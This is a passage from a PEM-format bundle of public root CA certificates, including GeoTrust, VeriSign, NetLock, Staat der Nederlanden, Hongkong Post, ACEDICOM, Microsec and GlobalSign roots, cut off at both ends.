KoZIhvcNAQELBQADggEBABpA2JVlrAmSicY59BDlqQ5mU1143vokkbvnRFHfxhY0Cu9qRFHqKweK A3rD6z8KLFIWoCtDuSWQP3CpMyVtRRooOyfPqsMpQhvfO0zAMzRbQYi/aytlryjvsvXDqmbOe1bu t8jLZ8HJnBoYuMTDSQPxYA5QzUbF83d597YV4Djbxy8ooAw/dyZ02SUS2jHaGh7cKUGRIjxpp7sC 8rZcJwOJ9Abqm+RyguOhCcHpABnTPtRwa7pxpqpYrvS76Wy274fMm7v/OeZWYdMKp8RcTGB7BXcm er/YB1IsYvdwY9k5vG8cwnncdimvzsUsZAReiDZuMdRAGmI0Nj81Aa6sY6A= -----END CERTIFICATE----- GeoTrust Primary Certification Authority - G2 ============================================= -----BEGIN CERTIFICATE----- MIICrjCCAjWgAwIBAgIQPLL0SAoA4v7rJDteYD7DazAKBggqhkjOPQQDAzCBmDELMAkGA1UEBhMC VVMxFjAUBgNVBAoTDUdlb1RydXN0IEluYy4xOTA3BgNVBAsTMChjKSAyMDA3IEdlb1RydXN0IElu Yy4gLSBGb3IgYXV0aG9yaXplZCB1c2Ugb25seTE2MDQGA1UEAxMtR2VvVHJ1c3QgUHJpbWFyeSBD ZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAtIEcyMB4XDTA3MTEwNTAwMDAwMFoXDTM4MDExODIzNTk1 OVowgZgxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMTkwNwYDVQQLEzAoYykg MjAwNyBHZW9UcnVzdCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxNjA0BgNVBAMTLUdl b1RydXN0IFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgLSBHMjB2MBAGByqGSM49AgEG BSuBBAAiA2IABBWx6P0DFUPlrOuHNxFi79KDNlJ9RVcLSo17VDs6bl8VAsBQps8lL33KSLjHUGMc KiEIfJo22Av+0SbFWDEwKCXzXV2juLaltJLtbCyf691DiaI8S0iRHVDsJt/WYC69IaNCMEAwDwYD VR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFBVfNVdRVfslsq0DafwBo/q+ EVXVMAoGCCqGSM49BAMDA2cAMGQCMGSWWaboCd6LuvpaiIjwH5HTRqjySkwCY/tsXzjbLkGTqQ7m ndwxHLKgpxgceeHHNgIwOlavmnRs9vuD4DPTCF+hnMJbn0bWtsuRBmOiBuczrD6ogRLQy7rQkgu2 npaqBA+K -----END CERTIFICATE----- VeriSign Universal Root Certification Authority =============================================== -----BEGIN CERTIFICATE----- MIIEuTCCA6GgAwIBAgIQQBrEZCGzEyEDDrvkEhrFHTANBgkqhkiG9w0BAQsFADCBvTELMAkGA1UE BhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQLExZWZXJpU2lnbiBUcnVzdCBO ZXR3b3JrMTowOAYDVQQLEzEoYykgMjAwOCBWZXJpU2lnbiwgSW5jLiAtIEZvciBhdXRob3JpemVk IHVzZSBvbmx5MTgwNgYDVQQDEy9WZXJpU2lnbiBVbml2ZXJzYWwgUm9vdCBDZXJ0aWZpY2F0aW9u IEF1dGhvcml0eTAeFw0wODA0MDIwMDAwMDBaFw0zNzEyMDEyMzU5NTlaMIG9MQswCQYDVQQGEwJV UzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlTaWduIFRydXN0IE5ldHdv cmsxOjA4BgNVBAsTMShjKSAyMDA4IFZlcmlTaWduLCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNl IG9ubHkxODA2BgNVBAMTL1ZlcmlTaWduIFVuaXZlcnNhbCBSb290IENlcnRpZmljYXRpb24gQXV0 aG9yaXR5MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAx2E3XrEBNNti1xWb/1hajCMj 1mCOkdeQmIN65lgZOIzF9uVkhbSicfvtvbnazU0AtMgtc6XHaXGVHzk8skQHnOgO+k1KxCHfKWGP MiJhgsWHH26MfF8WIFFE0XBPV+rjHOPMee5Y2A7Cs0WTwCznmhcrewA3ekEzeOEz4vMQGn+HLL72 9fdC4uW/h2KJXwBL38Xd5HVEMkE6HnFuacsLdUYI0crSK5XQz/u5QGtkjFdN/BMReYTtXlT2NJ8I AfMQJQYXStrxHXpma5hgZqTZ79IugvHw7wnqRMkVauIDbjPTrJ9VAMf2CGqUuV/c4DPxhGD5WycR tPwW8rtWaoAljQIDAQABo4GyMIGvMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMG0G CCsGAQUFBwEMBGEwX6FdoFswWTBXMFUWCWltYWdlL2dpZjAhMB8wBwYFKw4DAhoEFI/l0xqGrI2O a8PPgGrUSBgsexkuMCUWI2h0dHA6Ly9sb2dvLnZlcmlzaWduLmNvbS92c2xvZ28uZ2lmMB0GA1Ud DgQWBBS2d/ppSEefUxLVwuoHMnYH0ZcHGTANBgkqhkiG9w0BAQsFAAOCAQEASvj4sAPmLGd75JR3 Y8xuTPl9Dg3cyLk1uXBPY/ok+myDjEedO2Pzmvl2MpWRsXe8rJq+seQxIcaBlVZaDrHC1LGmWazx Y8u4TB1ZkErvkBYoH1quEPuBUDgMbMzxPcP1Y+Oz4yHJJDnp/RVmRvQbEdBNc6N9Rvk97ahfYtTx P/jgdFcrGJ2BtMQo2pSXpXDrrB2+BxHw1dvd5Yzw1TKwg+ZX4o+/vqGqvz0dtdQ46tewXDpPaj+P wGZsY6rp2aQW9IHRlRQOfc2VNNnSj3BzgXucfr2YYdhFh5iQxeuGMMY1v/D/w1WIg0vvBZIGcfK4 mJO37M2CYfE45k+XmCpajQ== -----END CERTIFICATE----- VeriSign Class 3 Public Primary Certification Authority - G4 ============================================================ -----BEGIN CERTIFICATE----- MIIDhDCCAwqgAwIBAgIQL4D+I4wOIg9IZxIokYesszAKBggqhkjOPQQDAzCByjELMAkGA1UEBhMC VVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQLExZWZXJpU2lnbiBUcnVzdCBOZXR3 b3JrMTowOAYDVQQLEzEoYykgMjAwNyBWZXJpU2lnbiwgSW5jLiAtIEZvciBhdXRob3JpemVkIHVz ZSBvbmx5MUUwQwYDVQQDEzxWZXJpU2lnbiBDbGFzcyAzIFB1YmxpYyBQcmltYXJ5IENlcnRpZmlj YXRpb24gQXV0aG9yaXR5IC0gRzQwHhcNMDcxMTA1MDAwMDAwWhcNMzgwMTE4MjM1OTU5WjCByjEL MAkGA1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQLExZWZXJpU2lnbiBU cnVzdCBOZXR3b3JrMTowOAYDVQQLEzEoYykgMjAwNyBWZXJpU2lnbiwgSW5jLiAtIEZvciBhdXRo b3JpemVkIHVzZSBvbmx5MUUwQwYDVQQDEzxWZXJpU2lnbiBDbGFzcyAzIFB1YmxpYyBQcmltYXJ5 IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IC0gRzQwdjAQBgcqhkjOPQIBBgUrgQQAIgNiAASnVnp8 Utpkmw4tXNherJI9/gHmGUo9FANL+mAnINmDiWn6VMaaGF5VKmTeBvaNSjutEDxlPZCIBIngMGGz rl0Bp3vefLK+ymVhAIau2o970ImtTR1ZmkGxvEeA3J5iw/mjgbIwga8wDwYDVR0TAQH/BAUwAwEB /zAOBgNVHQ8BAf8EBAMCAQYwbQYIKwYBBQUHAQwEYTBfoV2gWzBZMFcwVRYJaW1hZ2UvZ2lmMCEw HzAHBgUrDgMCGgQUj+XTGoasjY5rw8+AatRIGCx7GS4wJRYjaHR0cDovL2xvZ28udmVyaXNpZ24u Y29tL3ZzbG9nby5naWYwHQYDVR0OBBYEFLMWkf3upm7ktS5Jj4d4gYDs5bG1MAoGCCqGSM49BAMD A2gAMGUCMGYhDBgmYFo4e1ZC4Kf8NoRRkSAsdk1DPcQdhCPQrNZ8NQbOzWm9kA3bbEhCHQ6qQgIx AJw9SDkjOVgaFRJZap7v1VmyHVIsmXHNxynfGyphe3HR3vPA5Q06Sqotp9iGKt0uEA== -----END CERTIFICATE----- NetLock Arany (Class Gold) Főtanúsítvány ============================================ -----BEGIN CERTIFICATE----- MIIEFTCCAv2gAwIBAgIGSUEs5AAQMA0GCSqGSIb3DQEBCwUAMIGnMQswCQYDVQQGEwJIVTERMA8G A1UEBwwIQnVkYXBlc3QxFTATBgNVBAoMDE5ldExvY2sgS2Z0LjE3MDUGA1UECwwuVGFuw7pzw610 dsOhbnlraWFkw7NrIChDZXJ0aWZpY2F0aW9uIFNlcnZpY2VzKTE1MDMGA1UEAwwsTmV0TG9jayBB cmFueSAoQ2xhc3MgR29sZCkgRsWRdGFuw7pzw610dsOhbnkwHhcNMDgxMjExMTUwODIxWhcNMjgx MjA2MTUwODIxWjCBpzELMAkGA1UEBhMCSFUxETAPBgNVBAcMCEJ1ZGFwZXN0MRUwEwYDVQQKDAxO ZXRMb2NrIEtmdC4xNzA1BgNVBAsMLlRhbsO6c8OtdHbDoW55a2lhZMOzayAoQ2VydGlmaWNhdGlv biBTZXJ2aWNlcykxNTAzBgNVBAMMLE5ldExvY2sgQXJhbnkgKENsYXNzIEdvbGQpIEbFkXRhbsO6 c8OtdHbDoW55MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxCRec75LbRTDofTjl5Bu 0jBFHjzuZ9lk4BqKf8owyoPjIMHj9DrTlF8afFttvzBPhCf2nx9JvMaZCpDyD/V/Q4Q3Y1GLeqVw /HpYzY6b7cNGbIRwXdrzAZAj/E4wqX7hJ2Pn7WQ8oLjJM2P+FpD/sLj916jAwJRDC7bVWaaeVtAk H3B5r9s5VA1lddkVQZQBr17s9o3x/61k/iCa11zr/qYfCGSji3ZVrR47KGAuhyXoqq8fxmRGILdw fzzeSNuWU7c5d+Qa4scWhHaXWy+7GRWF+GmF9ZmnqfI0p6m2pgP8b4Y9VHx2BJtr+UBdADTHLpl1 neWIA6pN+APSQnbAGwIDAKiLo0UwQzASBgNVHRMBAf8ECDAGAQH/AgEEMA4GA1UdDwEB/wQEAwIB BjAdBgNVHQ4EFgQUzPpnk/C2uNClwB7zU/2MU9+D15YwDQYJKoZIhvcNAQELBQADggEBAKt/7hwW qZw8UQCgwBEIBaeZ5m8BiFRhbvG5GK1Krf6BQCOUL/t1fC8oS2IkgYIL9WHxHG64YTjrgfpioTta YtOUZcTh5m2C+C8lcLIhJsFyUR+MLMOEkMNaj7rP9KdlpeuY0fsFskZ1FSNqb4VjMIDw1Z4fKRzC bLBQWV2QWzuoDTDPv31/zvGdg73JRm4gpvlhUbohL3u+pRVjodSVh/GeufOJ8z2FuLjbvrW5Kfna NwUASZQDhETnv0Mxz3WLJdH0pmT1kvarBes96aULNmLazAZfNou2XjG4Kvte9nHfRCaexOYNkbQu dZWAUWpLMKawYqGT8ZvYzsRjdT9ZR7E= -----END CERTIFICATE----- Staat der Nederlanden Root CA - G2 ================================== -----BEGIN CERTIFICATE----- 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 66+KAQ== -----END CERTIFICATE----- Juur-SK ======= -----BEGIN CERTIFICATE----- MIIE5jCCA86gAwIBAgIEO45L/DANBgkqhkiG9w0BAQUFADBdMRgwFgYJKoZIhvcNAQkBFglwa2lA c2suZWUxCzAJBgNVBAYTAkVFMSIwIAYDVQQKExlBUyBTZXJ0aWZpdHNlZXJpbWlza2Vza3VzMRAw DgYDVQQDEwdKdXVyLVNLMB4XDTAxMDgzMDE0MjMwMVoXDTE2MDgyNjE0MjMwMVowXTEYMBYGCSqG SIb3DQEJARYJcGtpQHNrLmVlMQswCQYDVQQGEwJFRTEiMCAGA1UEChMZQVMgU2VydGlmaXRzZWVy aW1pc2tlc2t1czEQMA4GA1UEAxMHSnV1ci1TSzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC ggEBAIFxNj4zB9bjMI0TfncyRsvPGbJgMUaXhvSYRqTCZUXP00B841oiqBB4M8yIsdOBSvZiF3tf TQou0M+LI+5PAk676w7KvRhj6IAcjeEcjT3g/1tf6mTll+g/mX8MCgkzABpTpyHhOEvWgxutr2TC +Rx6jGZITWYfGAriPrsfB2WThbkasLnE+w0R9vXW+RvHLCu3GFH+4Hv2qEivbDtPL+/40UceJlfw UR0zlv/vWT3aTdEVNMfqPxZIe5EcgEMPPbgFPtGzlc3Yyg/CQ2fbt5PgIoIuvvVoKIO5wTtpeyDa Tpxt4brNj3pssAki14sL2xzVWiZbDcDq5WDQn/413z8CAwEAAaOCAawwggGoMA8GA1UdEwEB/wQF MAMBAf8wggEWBgNVHSAEggENMIIBCTCCAQUGCisGAQQBzh8BAQEwgfYwgdAGCCsGAQUFBwICMIHD HoHAAFMAZQBlACAAcwBlAHIAdABpAGYAaQBrAGEAYQB0ACAAbwBuACAAdgDkAGwAagBhAHMAdABh AHQAdQBkACAAQQBTAC0AaQBzACAAUwBlAHIAdABpAGYAaQB0AHMAZQBlAHIAaQBtAGkAcwBrAGUA cwBrAHUAcwAgAGEAbABhAG0ALQBTAEsAIABzAGUAcgB0AGkAZgBpAGsAYQBhAHQAaQBkAGUAIABr AGkAbgBuAGkAdABhAG0AaQBzAGUAawBzMCEGCCsGAQUFBwIBFhVodHRwOi8vd3d3LnNrLmVlL2Nw cy8wKwYDVR0fBCQwIjAgoB6gHIYaaHR0cDovL3d3dy5zay5lZS9qdXVyL2NybC8wHQYDVR0OBBYE FASqekej5ImvGs8KQKcYP2/v6X2+MB8GA1UdIwQYMBaAFASqekej5ImvGs8KQKcYP2/v6X2+MA4G A1UdDwEB/wQEAwIB5jANBgkqhkiG9w0BAQUFAAOCAQEAe8EYlFOiCfP+JmeaUOTDBS8rNXiRTHyo ERF5TElZrMj3hWVcRrs7EKACr81Ptcw2Kuxd/u+gkcm2k298gFTsxwhwDY77guwqYHhpNjbRxZyL abVAyJRld/JXIWY7zoVAtjNjGr95HvxcHdMdkxuLDF2FvZkwMhgJkVLpfKG6/2SSmuz+Ne6ML678 IIbsSt4beDI3poHSna9aEhbKmVv8b20OxaAehsmR0FyYgl9jDIpaq9iVpszLita/ZEuOyoqysOkh Mp6qqIWYNIE5ITuoOlIyPfZrN4YGWhWY3PARZv40ILcD9EEQfTmEeZZyY7aWAuVrua0ZTbvGRNs2 yyqcjg== -----END CERTIFICATE----- Hongkong Post Root CA 1 ======================= -----BEGIN CERTIFICATE----- MIIDMDCCAhigAwIBAgICA+gwDQYJKoZIhvcNAQEFBQAwRzELMAkGA1UEBhMCSEsxFjAUBgNVBAoT DUhvbmdrb25nIFBvc3QxIDAeBgNVBAMTF0hvbmdrb25nIFBvc3QgUm9vdCBDQSAxMB4XDTAzMDUx NTA1MTMxNFoXDTIzMDUxNTA0NTIyOVowRzELMAkGA1UEBhMCSEsxFjAUBgNVBAoTDUhvbmdrb25n IFBvc3QxIDAeBgNVBAMTF0hvbmdrb25nIFBvc3QgUm9vdCBDQSAxMIIBIjANBgkqhkiG9w0BAQEF AAOCAQ8AMIIBCgKCAQEArP84tulmAknjorThkPlAj3n54r15/gK97iSSHSL22oVyaf7XPwnU3ZG1 ApzQjVrhVcNQhrkpJsLj2aDxaQMoIIBFIi1WpztUlVYiWR8o3x8gPW2iNr4joLFutbEnPzlTCeqr auh0ssJlXI6/fMN4hM2eFvz1Lk8gKgifd/PFHsSaUmYeSF7jEAaPIpjhZY4bXSNmO7ilMlHIhqqh qZ5/dpTCpmy3QfDVyAY45tQM4vM7TG1QjMSDJ8EThFk9nnV0ttgCXjqQesBCNnLsak3c78QA3xMY V18meMjWCnl3v/evt3a5pQuEF10Q6m/hq5URX208o1xNg1vysxmKgIsLhwIDAQABoyYwJDASBgNV HRMBAf8ECDAGAQH/AgEDMA4GA1UdDwEB/wQEAwIBxjANBgkqhkiG9w0BAQUFAAOCAQEADkbVPK7i h9legYsCmEEIjEy82tvuJxuC52pF7BaLT4Wg87JwvVqWuspube5Gi27nKi6Wsxkz67SfqLI37pio l7Yutmcn1KZJ/RyTZXaeQi/cImyaT/JaFTmxcdcrUehtHJjA2Sr0oYJ71clBoiMBdDhViw+5Lmei IAQ32pwL0xch4I+XeTRvhEgCIDMb5jREn5Fw9IBehEPCKdJsEhTkYY2sEJCehFC78JZvRZ+K88ps T/oROhUVRsPNH4NbLUES7VBnQRM9IauUiqpOfMGx+6fWtScvl6tu4B3i0RwsH0Ti/L6RoZz71ilT c4afU9hDDl3WY4JxHYB0yvbiAmvZWg== -----END CERTIFICATE----- SecureSign RootCA11 =================== -----BEGIN CERTIFICATE----- MIIDbTCCAlWgAwIBAgIBATANBgkqhkiG9w0BAQUFADBYMQswCQYDVQQGEwJKUDErMCkGA1UEChMi SmFwYW4gQ2VydGlmaWNhdGlvbiBTZXJ2aWNlcywgSW5jLjEcMBoGA1UEAxMTU2VjdXJlU2lnbiBS b290Q0ExMTAeFw0wOTA0MDgwNDU2NDdaFw0yOTA0MDgwNDU2NDdaMFgxCzAJBgNVBAYTAkpQMSsw KQYDVQQKEyJKYXBhbiBDZXJ0aWZpY2F0aW9uIFNlcnZpY2VzLCBJbmMuMRwwGgYDVQQDExNTZWN1 cmVTaWduIFJvb3RDQTExMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA/XeqpRyQBTvL TJszi1oURaTnkBbR31fSIRCkF/3frNYfp+TbfPfs37gD2pRY/V1yfIw/XwFndBWW4wI8h9uuywGO wvNmxoVF9ALGOrVisq/6nL+k5tSAMJjzDbaTj6nU2DbysPyKyiyhFTOVMdrAG/LuYpmGYz+/3ZMq g6h2uRMft85OQoWPIucuGvKVCbIFtUROd6EgvanyTgp9UK31BQ1FT0Zx/Sg+U/sE2C3XZR1KG/rP O7AxmjVuyIsG0wCR8pQIZUyxNAYAeoni8McDWc/V1uinMrPmmECGxc0nEovMe863ETxiYAcjPitA bpSACW22s293bzUIUPsCh8U+iQIDAQABo0IwQDAdBgNVHQ4EFgQUW/hNT7KlhtQ60vFjmqC+CfZX t94wDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBAKCh OBZmLqdWHyGcBvod7bkixTgm2E5P7KN/ed5GIaGHd48HCJqypMWvDzKYC3xmKbabfSVSSUOrTC4r bnpwrxYO4wJs+0LmGJ1F2FXI6Dvd5+H0LgscNFxsWEr7jIhQX5Ucv+2rIrVls4W6ng+4reV6G4pQ Oh29Dbx7VFALuUKvVaAYga1lme++5Jy/xIWrQbJUb9wlze144o4MjQlJ3WN7WmmWAiGovVJZ6X01 y8hSyn+B/tlr0/cR7SXf+Of5pPpyl4RTDaXQMhhRdlkUbA/r7F+AjHVDg8OFmP9Mni0N5HeDk061 lgeLKBObjBmNQSdJQO7e5iNEOdyhIta6A/I= -----END CERTIFICATE----- ACEDICOM Root ============= -----BEGIN CERTIFICATE----- MIIFtTCCA52gAwIBAgIIYY3HhjsBggUwDQYJKoZIhvcNAQEFBQAwRDEWMBQGA1UEAwwNQUNFRElD T00gUm9vdDEMMAoGA1UECwwDUEtJMQ8wDQYDVQQKDAZFRElDT00xCzAJBgNVBAYTAkVTMB4XDTA4 MDQxODE2MjQyMloXDTI4MDQxMzE2MjQyMlowRDEWMBQGA1UEAwwNQUNFRElDT00gUm9vdDEMMAoG A1UECwwDUEtJMQ8wDQYDVQQKDAZFRElDT00xCzAJBgNVBAYTAkVTMIICIjANBgkqhkiG9w0BAQEF AAOCAg8AMIICCgKCAgEA/5KV4WgGdrQsyFhIyv2AVClVYyT/kGWbEHV7w2rbYgIB8hiGtXxaOLHk WLn709gtn70yN78sFW2+tfQh0hOR2QetAQXW8713zl9CgQr5auODAKgrLlUTY4HKRxx7XBZXehuD YAQ6PmXDzQHe3qTWDLqO3tkE7hdWIpuPY/1NFgu3e3eM+SW10W2ZEi5PGrjm6gSSrj0RuVFCPYew MYWveVqc/udOXpJPQ/yrOq2lEiZmueIM15jO1FillUAKt0SdE3QrwqXrIhWYENiLxQSfHY9g5QYb m8+5eaA9oiM/Qj9r+hwDezCNzmzAv+YbX79nuIQZ1RXve8uQNjFiybwCq0Zfm/4aaJQ0PZCOrfbk HQl/Sog4P75n/TSW9R28MHTLOO7VbKvU/PQAtwBbhTIWdjPp2KOZnQUAqhbm84F9b32qhm2tFXTT xKJxqvQUfecyuB+81fFOvW8XAjnXDpVCOscAPukmYxHqC9FK/xidstd7LzrZlvvoHpKuE1XI2Sf2 3EgbsCTBheN3nZqk8wwRHQ3ItBTutYJXCb8gWH8vIiPYcMt5bMlL8qkqyPyHK9caUPgn6C9D4zq9 2Fdx/c6mUlv53U3t5fZvie27k5x2IXXwkkwp9y+cAS7+UEaeZAwUswdbxcJzbPEHXEUkFDWug/Fq TYl6+rPYLWbwNof1K1MCAwEAAaOBqjCBpzAPBgNVHRMBAf8EBTADAQH/MB8GA1UdIwQYMBaAFKaz 4SsrSbbXc6GqlPUB53NlTKxQMA4GA1UdDwEB/wQEAwIBhjAdBgNVHQ4EFgQUprPhKytJttdzoaqU 9QHnc2VMrFAwRAYDVR0gBD0wOzA5BgRVHSAAMDEwLwYIKwYBBQUHAgEWI2h0dHA6Ly9hY2VkaWNv bS5lZGljb21ncm91cC5jb20vZG9jMA0GCSqGSIb3DQEBBQUAA4ICAQDOLAtSUWImfQwng4/F9tqg aHtPkl7qpHMyEVNEskTLnewPeUKzEKbHDZ3Ltvo/Onzqv4hTGzz3gvoFNTPhNahXwOf9jU8/kzJP eGYDdwdY6ZXIfj7QeQCM8htRM5u8lOk6e25SLTKeI6RF+7YuE7CLGLHdztUdp0J/Vb77W7tH1Pwk zQSulgUV1qzOMPPKC8W64iLgpq0i5ALudBF/TP94HTXa5gI06xgSYXcGCRZj6hitoocf8seACQl1 ThCojz2GuHURwCRiipZ7SkXp7FnFvmuD5uHorLUwHv4FB4D54SMNUI8FmP8sX+g7tq3PgbUhh8oI KiMnMCArz+2UW6yyetLHKKGKC5tNSixthT8Jcjxn4tncB7rrZXtaAWPWkFtPF2Y9fwsZo5NjEFIq nxQWWOLcpfShFosOkYuByptZ+thrkQdlVV9SH686+5DdaaVbnG0OLLb6zqylfDJKZ0DcMDQj3dcE I2bw/FWAp/tmGYI1Z2JwOV5vx+qQQEQIHriy1tvuWacNGHk0vFQYXlPKNFHtRQrmjseCNj6nOGOp MCwXEGCSn1WHElkQwg9naRHMTh5+Spqtr0CodaxWkHS4oJyleW/c6RrIaQXpuvoDs3zk4E7Czp3o tkYNbn5XOmeUwssfnHdKZ05phkOTOPu220+DkdRgfks+KzgHVZhepA== -----END CERTIFICATE----- Microsec e-Szigno Root CA 2009 ============================== -----BEGIN CERTIFICATE----- MIIECjCCAvKgAwIBAgIJAMJ+QwRORz8ZMA0GCSqGSIb3DQEBCwUAMIGCMQswCQYDVQQGEwJIVTER MA8GA1UEBwwIQnVkYXBlc3QxFjAUBgNVBAoMDU1pY3Jvc2VjIEx0ZC4xJzAlBgNVBAMMHk1pY3Jv c2VjIGUtU3ppZ25vIFJvb3QgQ0EgMjAwOTEfMB0GCSqGSIb3DQEJARYQaW5mb0BlLXN6aWduby5o dTAeFw0wOTA2MTYxMTMwMThaFw0yOTEyMzAxMTMwMThaMIGCMQswCQYDVQQGEwJIVTERMA8GA1UE BwwIQnVkYXBlc3QxFjAUBgNVBAoMDU1pY3Jvc2VjIEx0ZC4xJzAlBgNVBAMMHk1pY3Jvc2VjIGUt U3ppZ25vIFJvb3QgQ0EgMjAwOTEfMB0GCSqGSIb3DQEJARYQaW5mb0BlLXN6aWduby5odTCCASIw DQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAOn4j/NjrdqG2KfgQvvPkd6mJviZpWNwrZuuyjNA fW2WbqEORO7hE52UQlKavXWFdCyoDh2Tthi3jCyoz/tccbna7P7ofo/kLx2yqHWH2Leh5TvPmUpG 0IMZfcChEhyVbUr02MelTTMuhTlAdX4UfIASmFDHQWe4oIBhVKZsTh/gnQ4H6cm6M+f+wFUoLAKA pxn1ntxVUwOXewdI/5n7N4okxFnMUBBjjqqpGrCEGob5X7uxUG6k0QrM1XF+H6cbfPVTbiJfyyvm 1HxdrtbCxkzlBQHZ7Vf8wSN5/PrIJIOV87VqUQHQd9bpEqH5GoP7ghu5sJf0dgYzQ0mg/wu1+rUC AwEAAaOBgDB+MA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0GA1UdDgQWBBTLD8bf QkPMPcu1SCOhGnqmKrs0aDAfBgNVHSMEGDAWgBTLD8bfQkPMPcu1SCOhGnqmKrs0aDAbBgNVHREE FDASgRBpbmZvQGUtc3ppZ25vLmh1MA0GCSqGSIb3DQEBCwUAA4IBAQDJ0Q5eLtXMs3w+y/w9/w0o lZMEyL/azXm4Q5DwpL7v8u8hmLzU1F0G9u5C7DBsoKqpyvGvivo/C3NqPuouQH4frlRheesuCDfX I/OMn74dseGkddug4lQUsbocKaQY9hK6ohQU4zE1yED/t+AFdlfBHFny+L/k7SViXITwfn4fs775 tyERzAMBVnCnEJIeGzSBHq2cGsMEPO0CYdYeBvNfOofyK/FFh+U9rNHHV4S9a67c2Pm2G2JwCz02 yULyMtd6YebS2z3PyKnJm9zbWETXbzivf3jTo60adbocwTZ8jx5tHMN1Rq41Bab2XD0h7lbwyYIi LXpUq3DDfSJlgnCW -----END CERTIFICATE----- GlobalSign Root CA - R3 ======================= -----BEGIN CERTIFICATE----- MIIDXzCCAkegAwIBAgILBAAAAAABIVhTCKIwDQYJKoZIhvcNAQELBQAwTDEgMB4GA1UECxMXR2xv YmFsU2lnbiBSb290IENBIC0gUjMxEzARBgNVBAoTCkdsb2JhbFNpZ24xEzARBgNVBAMTCkdsb2Jh 